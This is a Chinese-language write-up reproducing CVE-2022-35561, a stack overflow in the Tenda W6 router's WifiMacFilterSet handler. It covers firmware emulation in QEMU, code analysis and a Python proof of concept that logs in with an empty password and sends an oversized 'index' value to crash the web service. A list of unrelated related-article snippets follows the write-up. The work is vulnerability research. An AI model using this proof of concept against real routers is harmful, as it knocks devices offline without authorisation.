【工业安全】-CVE-2022-35561- Tenda W6路由器 栈溢出漏洞

文章目录

1.漏洞描述

2.环境搭建

3.漏洞复现

4.漏洞分析

 4.1:代码分析

 4.2:流量分析

5.poc代码:


 1.漏洞描述

漏洞编号:CVE-2022-35561

漏洞名称:Tenda W6 栈溢出漏洞

威胁等级:高危

漏洞详情:Tenda W6 /goform/WifiMacFilterSet存在栈溢出漏洞,攻击者可利用该漏洞通过index参数造成拒绝服务(DoS)

影响范围:固件版本 V1.0.0.9(4122)


2.环境搭建

qemu-user系统编译:创建qemu目录,下载qemu-2.5.0.tar.bz2:

https://download.qemu.org/qemu-2.5.0.tar.bz2

1.将下载后的qemu-2.5.0.tar.bz2解压。

2.查找目录linux-user。

3.给目录linux-user的elfload.c 文件中struct elfhdr *ehdr函数中添加&& ehdr->e_shentsize == sizeof(struct elf_shdr) 这个条件。

#配置qemu-user系统:

$./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --static --python=/usr/bin/python2.7

#编译qemu:

$make -j8

#安装qemu:

$sudo make install

安装成功。

3.漏洞复现

在/home/CVE-2022-35561目录下,用qemu-usr用户模式模拟,把固件模拟运行起来。

1.首先在CVE-2022-35555.py同级目录下,binwalk -eM 解压US_W6V1.0BR_V1.0.0.9(4122)_CN.bin文件。

2.然后对binwalk解包后的固件中的任何二进制文件执行 file 命令,查看下设备的cpu 架构。

命令:file ./bin/httpd

​可知Tenda W6路由器的httpd是基于MIPS 架构的 32 位小端序可执行文件。

3.给httpd文件可执行权限,命令:chmod +x tdhttpd

4.复制squashfs-root目录下的webroot_ro文件到webroot中

命令:

rm -rf webroot 

ln -s webroot_ro/ webroot

5.将user/local/bin目录下qemu-mipsel文件复制到squashfs-root目录,重命名为qemu-mipsel-static。

注意:如果安装过(或有其它原因)qemu-mipsel可能被重命名为qemu-usr-mipsel

执行模拟命令,sudo qemu-mipsel-static -L . ./bin/httpd

但是卡在这里了,在IDA里面看一下httpd,搜索 welcome,发现是因为有一个check_network检查。把两处“jalr $t9”改为 “li $v0,1”,就能通过检查。

具体修改时,先在 https://disasm.pro/ 上查一下汇编对应的十六进制:

6.将path 后的httpd 替换原来的文件。

重新给httpd文件可执行权限,进入squashfs-root目录,打开终端。

执行命令: sudo qemu-mipsel-static -L . ./bin/httpd

很长,请忽略。

直接看有用的部分:

路由器运行在80端口。

ifconfig

得到本机ip,在浏览器中访问:192.168.124.153:80

用户名和密码都保持为空,登录后获得如下界面:

Poc执行:

在PoC_repo目录下打开终端,命令:python3.8 MSF_IOT.py

show exploits

use CVE-2022-35561

ip:192.168.124.153

端口:80

run

因受到攻击网页无法访问,漏洞执行成功

4.漏洞分析

4.1:代码分析

使用 binwalk -e 解包固件,获得文件以备后续分析:

根据漏洞通告/goform/WifiMacFilterSet请求会触发漏洞,查找可执行文件httpd。

可知httpd位于:

_US_W6V1.0BR_V1.0.0.9(4122)_CN.bin.extracted/squashfs-root/bin/httpd

在ida中查找函数:WifiMacFilterSet

sprintf 函数的格式化字符串中使用了 v10 的值。

v10是通过调用 websGetVar 函数获取到的名为 "index" 变量的值。

函数的第一个参数 a1 表示 HTTP 请求句柄,第二个参数 "index" 是需要获取的变量的名称,第三个参数 "0" 则是变量的默认值,当名为 "index" 的变量不存在时,将返回一个字符串 "0"。

"wl2g.ssid" 和 "." 固定占用10字节。

v10 实际可用空间为 32 -10-1 = 21(减去1是因为字符串需要一个空终止符 '\0')。

但是这里没有对 v10 的长度进行检查和限制,就可能导致 sprintf 函数将一个较长的字符串写入 v12 中,覆盖掉其他数据,造成栈溢出漏洞。

故我们可以构造:

http://<ip router>/goform/WifiMacFilterSet+"index="+超长字符串 覆盖掉其他数据,造成溢出。

4.2:流量分析 

5.poc代码:

代码复现时环境ip为 192.168.241.131

import requests
from pwn import *burp0_url = "http://192.168.241.131/login/Auth"
burp0_headers = {"Host":"192.168.241.131",
"Content-Length":"65",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}data0 = 'usertype=admin&password=&time=2023;5;31;19;51;6&username='
requests.post(burp0_url,headers=burp0_headers,data=data0, verify=False,timeout=1)burp1_url = "http://192.168.241.131/goform/WifiMacFilterSet"
burp1_headers = {"Host":"192.168.241.131",
"Content-Length":"295",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}data1="index="+'a'*0x300requests.post(burp1_url,headers=burp1_headers,data=data1, verify=False,timeout=1)

实现了两个HTTP POST请求,第一个用来登录,第二个用来执行漏洞利用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/17263.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CondaValueError: Malformed version string ‘~‘: invalid character(s)

CondaValueError: Malformed version string ‘~‘: invalid character(s) 送一张 GPT plus 、 deepseek-R1 满血 体验卡&#xff5e; https://bbs.csdn.net/topics/619568415 ​ 报错原因 使用conda安装一些库时出现以下报错&#xff1a; CondaValueError: Malformed versio…

渗透利器:YAKIT 工具-基础实战教程.

YAKIT 工具-基础实战教程. YAKIT&#xff08;Yak Integrated Toolkit&#xff09;是一款基于Yak语言开发的集成化网络安全单兵工具&#xff0c;旨在覆盖渗透测试全流程&#xff0c;提供从信息收集、漏洞扫描到攻击实施的自动化支持。其核心目标是通过GUI界面降低Yak语言的使用…

【Git版本控制器】:第一弹——Git初识,Git安装,创建本地仓库,初始化本地仓库,配置config用户名,邮箱信息

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;Linux网络编程 &#x1f337;追光的人&#xff0c;终会万丈光芒 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 ​ 相关笔记&#xff1a; https://blog.csdn.net/dj…

数据结构(6)

注意&#xff1a;只有前序和中序或者后序和中序才能还原二叉树。 1.创建一个二叉树 2.遍历一个二叉树&#xff08;前序遍历&#xff0c;后序和中序遍历与此类似&#xff09; 3.寻找二叉树的节点个数和层数 4.销毁二叉树 5.层序遍历

LabVIEW用户界面设计原则

在LabVIEW开发中&#xff0c;用户界面&#xff08;UI&#xff09;设计不仅仅是为了美观&#xff0c;它直接关系到用户的操作效率和体验。一个直观、简洁、易于使用的界面能够大大提升软件的可用性&#xff0c;尤其是在复杂的实验或工业应用中。设计良好的UI能够减少操作错误&am…

大语言模型入门

大语言模型入门 1 大语言模型步骤1.1 pre-training 预训练1.1.1 从网上爬数据1.1.2 tokenization1.1.2.1 tokenization using byte pair encoding 1.3 预训练1.3.1 context1.3.2 training1.3.3 输出 1.2 post-training1.2.1 token 1.2 SFT监督微调1.3 人类反馈强化学习1.3.1 人…

Windows 11 下 Ollama 安装与 OpenWebUI 调用 DeepSeek-R1 的详细指南

文章目录 Windows 11 下 Ollama 安装与 OpenWebUI 调用 DeepSeek-R1 的详细指南一、Ollama 的安装与配置1. 下载 Ollama2. 安装 Ollama3. 验证 Ollama 安装 二、部署 DeepSeek-R1 模型1. 拉取 DeepSeek-R1 模型2. 启动 DeepSeek-R1 模型 三、OpenWebUI 的安装与配置1. 安装 Pyt…

JVM ②-双亲委派模型 || 垃圾回收GC

这里是Themberfue 在上节课对内存区域划分以及类加载的过程有了简单的了解后&#xff0c;我们再了解其他两个较为重要的机制&#xff0c;这些都是面试中常考的知识点&#xff0c;有必要的话建议背出来&#xff0c;当然不是死记硬背&#xff0c;而是要有理解的背~~~如果对 JVM …

君海游戏岗位,需要私我

游戏岗位内推啦&#xff0c;需要找我哈 共14个职位 广告投放主管 社会招聘全国 广告投放 社会招聘全国 设计主管 社会招聘全国 海外投放 社会招聘广东省广州市 海外运营 社会招聘广东省广州市 产品运营专员 社会招聘广东省广州市 平台运营 社会招聘广东…

制药行业 BI 可视化数据分析方案

一、行业背景 随着医药行业数字化转型的深入&#xff0c;企业积累了海量的数据&#xff0c;包括销售数据、生产数据、研发数据、市场数据等。如何利用这些数据&#xff0c;挖掘其价值&#xff0c;为企业决策提供支持&#xff0c;成为医药企业面临的重大挑战。在当今竞争激烈的…

【BUUCTF逆向题】[WUSTCTF2020]level3(魔改base64)

一.[WUSTCTF2020]level3 打开IDA反汇编&#xff0c;发现就是base64加密 这里rand就是与&搭配设置奇偶数2分随机 但是根据提示不是标准base64加密 首先想到魔改密码表&#xff0c;追踪进去&#xff0c;发现没有什么变化啊 尝试对Base64字符串解码也不对 追踪密码表CtrlX发…

文字转语音(三)FreeTTS实现

项目中有相关的功能&#xff0c;就简单研究了一下。 说明 FreeTTS 是一个基于 Java 的开源文本转语音&#xff08;TTS&#xff09;引擎&#xff0c;旨在将文字内容转换为自然语音输出。 FreeTTS 适合对 英文语音质量要求低、预算有限且需要离线运行 的场景&#xff0c;但若需…

【Prometheus】prometheus结合cAdvisor监控docker容器运行状态,并且实现实时告警通知

✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,阿里云开发者社区专家博主,CSDN全栈领域优质创作者,掘金优秀博主,51CTO博客专家等。 🏆《博客》:Python全…

HTML应用指南:利用GET请求获取全国海底捞门店位置信息

随着新零售业态的快速发展&#xff0c;门店位置信息的获取变得越来越重要。作为餐饮服务行业的先锋&#xff0c;海底捞不仅在服务质量上持续领先&#xff0c;还积极构建广泛的门店网络&#xff0c;以支持其不断增长的用户群体。为了更好地理解和利用这些数据&#xff0c;本篇文…

Arduino 第十六章:pir红外人体传感器练习

Arduino 第十六章&#xff1a;PIR 传感器练习 一、引言 在 Arduino 的众多有趣项目中&#xff0c;传感器的应用是非常重要的一部分。今天我们要学习的主角是 PIR&#xff08;被动红外&#xff09;传感器。PIR 传感器能够检测人体发出的红外线&#xff0c;常用于安防系统、自动…

Spring Data JPA 基本用法笔记整理

写在前面&#xff1a; 之前一直写MyBatis&#xff0c;去年开始做的这个新项目用的是JPA&#xff0c;整理了一些基本使用方法 1、 集成方法&#xff1a; 1.1 引入依赖 <!--spring data 依赖--> <dependency><groupId>org.springframework.data</groupI…

leetcode-495.提莫攻击

leetcode-495.提莫攻击 文章目录 leetcode-495.提莫攻击一.题目描述二.代码提交三.解释 一.题目描述 二.代码提交 #include <vector> using namespace std;int findPoisonedDuration(vector<int>& timeSeries, int duration) {int total 0;for (int i 0; i …

团队没有测试人员,要快速完成测试?

有同学提问:产品没有专职的测试人员,要怎么才能快速完成测试? 先说结论,这个问题并没有标准答案 没有测试岗位只是没有专门负责这个职能的人员,但测试这个事并没有消失 快速完成测试,其实应该换种说法,就是快速建立质量信心。 因为测试无穷尽,所以没有绝对的完成测试…

光学相位---描述周期性波动现象

相位是描述周期性波动现象的一个重要物理量&#xff0c;用来表示波在某一时刻或位置上的振荡状态。它是时间、空间和频率的函数&#xff0c;通常用角度&#xff08;单位为度或弧度&#xff09;来表示。对于光波而言&#xff0c;其相位可以通过波的传播距离、波长以及波数来定义…

一、通义灵码插件保姆级教学-IDEA(安装篇)

JetBrains IDEA 中安装教学 第一步&#xff1a;事先准备 支持系统&#xff1a;Windows 7 ~ Windows 11、Linux、macOS&#xff1b;下载并安装兼容的 JetBrains IDEA 2020.3 及以上版本&#xff1b; 第二步&#xff1a;在 IntelliJ IDEA 中安装通义灵码 方法 1&#xff1a;通…